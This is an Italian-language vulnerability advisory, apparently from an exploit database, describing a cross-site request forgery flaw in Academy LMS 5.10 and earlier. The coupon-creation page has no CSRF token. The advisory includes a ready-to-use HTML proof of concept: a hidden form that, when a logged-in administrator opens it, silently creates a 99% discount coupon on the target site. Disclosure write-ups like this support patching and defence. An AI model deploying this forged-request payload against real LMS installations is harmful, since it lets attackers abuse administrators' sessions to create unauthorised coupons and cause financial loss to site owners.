
Academy LMS <= 5.10 CSRF
Academy LMS <= 5.10 CSRF
Academy LMS è un'applicazione in cui le persone possono creare e pubblicizzare corsi. La funzionalità di aggiunta di un coupon è vulnerabile a CSRF poiché non esiste un token che possa impedire questo attacco.
Il primo passo della nostra prova di concetto è autenticarsi sulla piattaforma con un utente amministratore.
Dopo di che, basta accedere alla pagina che contiene il codice per sfruttare la vulnerabilità e notare che un nuovo coupon è stato creato automaticamente.
Codice utilizzato nell'exploit:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/admin/coupons/add" method="POST">
<input type="hidden" name="code" value="vinix" />
<input type="hidden" name="discount_percentage" value="99" />
<input type="hidden" name="expiry_date" value="12/11/2022" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>